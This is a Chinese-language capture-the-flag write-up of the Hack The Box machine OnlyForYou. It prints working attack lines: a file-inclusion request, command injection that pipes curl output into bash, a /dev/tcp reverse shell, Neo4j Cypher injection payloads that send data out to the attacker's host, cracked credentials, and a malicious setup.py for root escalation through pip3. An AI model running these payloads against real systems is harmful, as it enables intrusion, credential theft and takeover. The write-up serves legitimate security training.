准备:

攻击机:虚拟机kali。

靶机:OnlyForYou,htb网站:https://www.hackthebox.com/,靶机地址:https://app.hackthebox.com/machines/OnlyForYou。

知识点:DNS解析、代码审计、文件包含、shell反弹、frp端口转发、Neo4j注入漏洞、ngnix知识了解、md5解密、pip3 download提权。

简单的记录下通过的过程也是帮助自己梳理下整个流程:

一:信息收集

1.nmap扫描

使用nmap对端口进行扫描,命令:sudo nmap --min-rate 10000 -p- 10.10.11.210,显示开放了22端口、80端口,开启了ssh服务、http服务。

对具体的服务信息进行扫描,未发现可以利用的信息,命令:sudo nmap -sT -sV -O -p 22,80,443 10.10.11.210。

2.DNS解析

请求:http://10.10.11.210,访问下WEB服务,发现跳转到了http://only4you.htb/,因此我们需要进行下DNS解析,在/etc/hosts文件中写入:10.10.11.210 only4you.htb。

二:WEB信息分析

1.源码信息

在http://only4you.htb页面的TEAM处发现一个beta产品,访问该产品时跳转到了http://beta.only4you.htb/,因此重复DNS解析将其添加到/etc/hosts文件中。

该页面给我们提供了源码下载,将源码下载下来进行分析,发现对..与../进行了过滤,最后会返回image文件的内容,因此这里应该是存在文件包含漏洞。除了源码外还有resize、convert功能,前者是上传图片并调整大小,后者是jpg与png相互转换。

在http://beta.only4you.htb/页面抓取数据包修改请求方式为POST,修改后数据包信息如下,发送该数据包成功获得/etc/passwd文件的内容,发现可能存在账户john、neo4j、dev。

POST数据包
POST /download HTTP/1.1

Host: beta.only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 17 image=/etc/passwd

2.文件包含漏洞

前面在nmap扫描时已经发现在80端口开启了nginx服务,因此我们读取下nginx的配置文件,发现三个文件和一个目录:/var/log/nginx/access.log、/var/log/nginx/error.log、/etc/nginx/conf.d/*.conf、/etc/nginx/sites-enabled/*。

依次查看下几个文件,/var/log/nginx/access.log文件中存放的是我们的访问日志,访问/var/log/nginx/error.log时未返回有用信息,/etc/nginx/conf.d/*.conf、/etc/nginx/sites-enabled/*会被拦截。后面查了下nginx配置,在/etc/nginx/sites-enabled/default文件中发现网站的绝对路径:/var/www/only4you.htb/。

尝试请求下网站目录下的文件:app.py,发现form文件,这里注意下:status = sendmessage(email, subject, message, ip)。

读取下form文件,发现存在一个run命令,执行了邮箱名称@之后的内容。因此这里应该是存在一个命令执行漏洞。

三:获取www-data权限shell

后面尝试进行命令执行发现返回信息一直是未授权,就又对源码分析了一波,发现是因为status返回值为1,返回值为1是因为对上面图片中返回的result验证未通过,后来思考了以下,虽然验证未通过但是既然返回了result那肯定是执行过命令了,因此我们尝试直接进行shell反弹。步骤如下:

1.在kali中写一个shell反弹文件shell.sh,内容:bash -i >& /dev/tcp/10.10.14.18/6688 0>&1。

2.在kali开启一个web服务,命令:python -m http.server。

3.在抓取的数据包中修改post数据为:name=upfine&email=q@qq.com;curl 10.10.14.18:8000/shell.sh | bash&subject=112345&message=1asdf,然后发送此请求,成功获得shell权限。

四:获取john权限shell

1.端口转发

在www-data权限的shell中经过一番查询只确定了账户名称:john、dev,未发现和密码有关的信息,然后在查询端口时发现存在几个开放的端口:3000、8001、3306、7474、7687等端口。

使用frp将这几个端口的流量转到到kali中,注意服务端与客户端不要用反了,靶机用的是客户端,可以参考我的这边文章:https://www.cnblogs.com/upfine/p/17266632.html。几个端口的访问情况依次如下:

2.Neo4j注入漏洞

在8001端口的登录框进行登录时发现使用:admin/admin可以成功登录。在该服务中的EMPLOYEES中发现存在搜索功能,猜测可能存在注入漏洞。

请求7474端口的时候未返回页面信息,但是frp中先是的信息已被占用,因此猜测应该是数据库类的服务在后端占用,观察请求页面,虽然未返回信息,但是标签上告诉了我们是neo4j。查了下neo4j的介绍,发现是一个高性能的NOSQL图形数据库,前面我们猜测正确。

那就找下neo4j的注入方法:https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j#common-cypher-injections。先尝试获取下版本号,发现确实存在注入漏洞。

' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.18:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 

然后获取下表中的节点信息,语句:1' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.18:8000/?label='+label as l RETURN 0 as _0 //,获得节点user、employee。

然后查询下user节点的值,语句:1' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.18:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //,获得两个加密的密码值:

#解密前
admin:8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
john:a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
#解密后
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:admin
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6:ThisIs4You

3.获取john权限shell

使用获得账户和密码:john/ThisIs4You进行ssh登录,成功获得shell权限并读取到第一个flag。

五:提权

查看下当前账户是否存在可以使用的特权命令,sudo -l,发现:/usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz,意思是允许john用户使用pip3 download 3000端口的压缩文件。

查找下该情况的提权方式,在这里:https://github.com/wunderwuzzi23/this_is_fine_wuzzi.git下载demo文件,然后修改setup.py文件,在该目录执行:python3 -m build,执行完之后会在生成一个dist目录,该目录下存在一个this_is_fine_wuzzi-0.0.1.tar.gz文件,即是我们需要的文件。

setup.py
import os
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info def RunCommand():
os.system("chmod +s /bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self) class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self) setup(
name = "this_is_fine_wuzzi",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)

使用john/ThisIs4You登录3000端口的Gogs服务进行查看,但是Test仓库显示是有锁的需要认证,那首先就需要对其进行解锁设置,然后将文件进行上传。

上传文件后切执行:sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/src/master/this_is_fine_wuzzi-0.0.1.tar.gz,然后执行bash -p即可获得root权限并在root目录下获取到flag值。

HTB靶场之OnlyForYou的更多相关文章

  1. 【HTB靶场系列】靶机Carrier的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  2. [红日安全]Web安全Day1 - SQL注入实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  3. [红日安全]Web安全Day2 - XSS跨站实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  4. [红日安全]Web安全Day3 - CSRF实战攻防

    本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...

  5. [红日安全]Web安全Day4 - SSRF实战攻防

    本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...

  6. [红日安全]Web安全Day5 - 任意文件上传实战攻防

    本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...

  7. [红日安全]Web安全Day8 - XXE实战攻防

    本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...

  8. [红日安全]Web安全Day9 - 文件下载漏洞实战攻防

    本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...

  9. [红日安全]Web安全Day12 – 会话安全实战攻防

    本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...

  10. 【HTB系列】靶机Access的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

随机推荐

  1. Python代码相似度计算(基于AST和SW算法)

    代码相似度计算将基于AST和Smith-Waterman算法 AST (抽象语法树) AST即Abstract Syntax Trees,是源代码的抽象语法结构的树状表示,树上的每个节点都表示源代码中 ...

  2. OI 数论中的上界估计与时间复杂度证明

    预备 0.1 渐进符号 其实不少高等数学 / 数学分析教材在讲解无穷小的比较时已经相当严谨地介绍过大 O.小 O 记号,然而各种历史习惯记法的符号滥用(abuse of notation)[1] 直到 ...

  3. selenium部分知识点总结

    selenium部分总结 最近写了一个selenium自动化脚本. 基于此总结一些常用的代码 1. 用户输入换行符不终止输入 strings = '' s = input('请输入:(q停止输入)') ...

  4. DeFi4-稳定币

    稳定币--稳定 是一个相对的度量指标 波动性,收益率标准差 在一个时间段内最大跌幅 Fiat,例如: 欧元.英镑的波动率为6-12% (波动本身并不能反映价格的范围 稳定币 vs 锚定币 稳定币类型 ...

  5. 深度学习--魔法类nn.Module

    深度学习--魔法类nn.Module 作用 pytorch 封装了一些基本的网络类,可以直接调用 好处: 可以直接调用现有的类 容器机制:self.net = nn.Sequential() 参数返回 ...

  6. Selenium 元素定位方式封装的实际应用

    一.定位方式  二.实际应用 1.项目结构 2.locator_base.py 文件 # -*- coding: utf-8 -*- from selenium.webdriver.common.by ...

  7. 2022年5月5日模拟赛题解与总结(ABC237)

    总结 初一第一,竞赛班第二 还可以,为了照顾提高班来的四个同学放了四个水题,可惜他们做的不是很理想,希望他们下次可以获得满意的成绩 这次做的其实是 AtCoder ABC237 A.Not Overf ...

  8. Nginx 面试题总结大全

    转载请注明出处: 1 介绍下nginx特点与常用模块 2 nginx特点详细 3 反向代理和正向代理 4 负载均衡策略有哪些 5 Nginx如何实现动静分离?  6 Nginx 常用命令有哪些? 7 ...

  9. 一文梳理z-index和层叠上下文

    前言 最近参与某前端项目架构改造,发现项目中滥用z-index,设置的值有几十种并且不统一.在对项目的z-index进行梳理和统一过程中也深入学习了一下z-index,并撰写成文,希望也能帮助到陌生的 ...

  10. 【Ubuntu】2. 安装Ubuntu操作系统+VMware Tools

    接上一篇,这一部分介绍了操作系统的安装 开启虚拟机,首先由四个选项,选第一个正常安装即可,这里稍等片刻就可以进入安装选项 到了这一步的话可以在左侧设置系统语言,我的英语比较垃圾就选中文了,选择完之后点 ...